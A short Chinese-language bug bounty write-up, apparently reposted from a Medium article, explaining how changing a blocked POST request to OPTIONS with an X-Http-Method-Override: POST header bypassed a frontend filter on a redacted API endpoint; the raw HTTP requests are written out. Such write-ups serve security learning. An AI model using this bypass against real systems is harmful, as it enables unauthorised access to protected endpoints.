通过 OPTIONS 请求+方法走私：HackerOne赏金案例解析

首先，某网站的端点的请求抓包如下：

POST /user/profile/exists HTTP/2Host: api.[redacted].comAuthorization: Bearer <jwt>Content-Type: application/json;charset=UTF-8{"":""}

请求后的响应是 403 错误。

然后将 POST 请求方式修改为 OPTIONS ,并在请求中添加‘私货’，再次尝试：

OPTIONS /user/profile/exists HTTP/2Host: api.[redacted].comX-Http-Method-Override: POSTAuthorization: Bearer <jwt>Content-Type: application/json;charset=UTF-8{"":""}

获得响应：

虽然前端禁止了 POST 请求，但却疏忽了 OPTIONS 请求，从而使攻击者可以成功绕过 POST 请求限制。

而这种‘疏忽’，却可以让攻击者：

利用被饶过的访问控制，使攻击者可以悄无声息地访问到本应禁止访问的端点

希望对你能有所启发～

原文：https://ayushkr12.medium.com/smuggling-my-way-past-frontend-filters-a-fun-find-on-hackerone-4424dad3a16e

- END -